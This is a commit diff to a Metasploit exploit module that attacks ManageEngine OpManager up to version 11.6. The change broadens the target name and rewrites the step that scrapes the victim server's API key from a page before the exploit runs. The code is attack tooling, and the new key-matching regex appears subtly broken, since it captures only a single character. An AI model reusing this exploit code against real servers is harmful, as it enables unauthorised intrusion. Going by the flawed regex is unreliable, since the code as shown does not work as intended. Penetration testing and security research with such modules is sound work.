Updated with Egypt's suggestion, also changed the target name to include other versions
This commit is contained in:
@@ -40,7 +40,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'Arch' => ARCH_JAVA,
|
||||
'Targets' =>
|
||||
[
|
||||
['ManageEngine OpManager v11.6', {}]
|
||||
['ManageEngine OpManager <= v11.6', {}]
|
||||
],
|
||||
'Privileged' => false,
|
||||
'DisclosureDate' => 'Sep 14 2015',
|
||||
@@ -121,14 +121,8 @@ class MetasploitModule < Msf::Exploit::Remote
|
||||
'uri' => redirect,
|
||||
'method' => 'GET'
|
||||
})
|
||||
if res.body =~ /OpManager.*v\.([0-9]+\.[0-9]+)<\/span>/
|
||||
version = $1
|
||||
else
|
||||
fail_with(Failure::Unknown, "#{peer} - Could not gather the version in use")
|
||||
end
|
||||
|
||||
if res && res.code == 200 && ((version == 11.6 && res.body =~ /window.OPM.apiKey = "([a-z0-9]+)"/) || (version == 11.0 && res.body =~ /window.apiKey = "([a-z0-9]+)"/))
|
||||
# the line above checks for the version, as for version 11.0 the call for the api key value is different but the rest of the exploit works the same.
|
||||
if res && res.code == 200 && res.body =~ /window.(?:OPM.)?apiKey = "([a-z0-9])"/
|
||||
api_key = $1
|
||||
print_status("Retrieved API key [ #{api_key} ]")
|
||||
else
|
||||
|
||||
Reference in New Issue
Block a user